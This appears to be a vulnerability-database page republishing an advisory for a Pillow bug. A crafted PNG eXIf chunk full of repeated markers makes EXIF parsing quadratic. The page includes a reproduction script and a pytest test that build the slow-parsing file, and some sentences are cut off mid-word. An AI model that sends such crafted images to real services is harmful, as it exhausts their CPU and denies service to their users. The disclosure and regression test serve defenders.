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Response snapshot Oct 26, 2026, 23:31 UTC

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VulnerabilityCVE-2026-96643

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

### Details `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this: ```python while data and data.startswith(b"Exif\x00\x00"): data = data[6:] ```

Published Updated

At a glance

Exploited
Not known
Severity
7.1 High (CVSS 4.0)
Chance of exploitation
0.4% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-g4qv-2jxx-769h (opens a new tab)

What happened

### Summary A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

### Details `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:

```python while data and data.startswith(b"Exif\x00\x00"): data = data[6:] ```

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

Continue reading

`chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info["exif"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated `Exif\x00\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

### Steps to reproduce This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.

```python import time from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers data = MAGIC + IHDR + exif_chunk + IDAT + IEND

start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds") ```

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.

```python import pytest from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

@pytest.mark.timeout(2) def test_exif_load_is_not_quadratic(): marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) data = MAGIC + IHDR + exif_chunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif() ```

### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`.

`exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

Affected package ranges reported by GitHub: Pillow: >= 11.0.0, < 13.0.0

Scores and how they were measured

CVSS base severity

7.1

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 36.9%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-g4qv-2jxx-769h (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    NVD CVE-2026-96643 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  13. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  14. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-96643, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time (CVE-2026-96643). https://kevwire.com/record/CVE-2026-96643

MLA

"Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time (CVE-2026-96643)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-96643.

Chicago

KEVWire. "Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time (CVE-2026-96643)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-96643.

Evidence summary (plain text)

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time (Oct 22, 2026).
### Details
 `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:

 ```python
 while data and data.startswith(b"Exif\x00\x00"):
 data = data[6:]
 ```
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96643).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96643&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-g4qv-2jxx-769h: https://github.com/advisories/GHSA-g4qv-2jxx-769h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo1MTozMFrOAAf0Mg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96643: https://nvd.nist.gov/vuln/detail/CVE-2026-96643
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96643&date=2026-10-26
Record ID: CVE-2026-96643.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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